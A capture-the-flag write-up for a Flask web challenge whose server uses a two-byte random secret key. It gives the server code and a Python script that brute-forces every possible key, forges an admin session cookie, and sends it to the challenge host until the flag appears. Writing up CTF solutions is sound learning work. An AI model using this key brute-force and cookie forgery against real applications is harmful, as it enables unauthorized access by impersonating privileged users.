Tags: web flask-session 

Rating:

The writeup starts at 02:42 on the video. The source code of the server was provided:
```
from flask import Flask, render_template, session
import os
app = Flask(__name__)
SECRET_KEY = os.urandom(2)
app.config['SECRET_KEY'] = SECRET_KEY
FLAG = open("flag.txt", "r").read()

@app.route('/')
def home():
return render_template('index.html')

@app.route('/flag')
def get_flag():
if "name" not in session:
session['name'] = "user"
is_admin = session['name'] == "admin"
return render_template("flag.html", flag=FLAG, admin = is_admin)

if __name__ == '__main__':
app.run()
```
Code for flag.html:
```

<html lang="en">

<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="static/css/style.css" />
<title>Flag</title>
</head>

<body>
{% if admin %}
<h1>Here is your flag: {{flag}}</h1>
{% else %}
<h1>No flag for you</h1>
{% endif %}
</body>

</html>
```
The goal here is to forge an admin session cookie to access flag.html and retrieve the flag. To do that we need to get the SECRET_KEY the server is using. In this case os.urandom(2) is being used to generate two random bytes. I used the following code to perform the bruteforce:
```
import requests, time
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
from datetime import timedelta

start = time.time()
# 2^16 = 65535 (two bytes)
for i in range(65535, 0, -1):
app = Flask("example")
app.secret_key = i.to_bytes(2, 'big')
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session={}
session["name"] = "admin"
session_cookie = session_serializer.dumps(dict(session))
Headers = { "Cookie" : "session="+ session_cookie}
x = requests.get('http://very-secure.hsctf.com/flag', headers=Headers, timeout=15)
if "Here is your flag" in x.text:
print(x.text)
break
if i%100==0:
print(i)
print(str(timedelta(seconds=(time.time() - start))))
```
<h1>Here is your flag: flag{h0w_d1d_y0u_cr4ck_th3_k3y??}</h1>

Original writeup (https://youtu.be/QKZWyWQSPaw?t=162).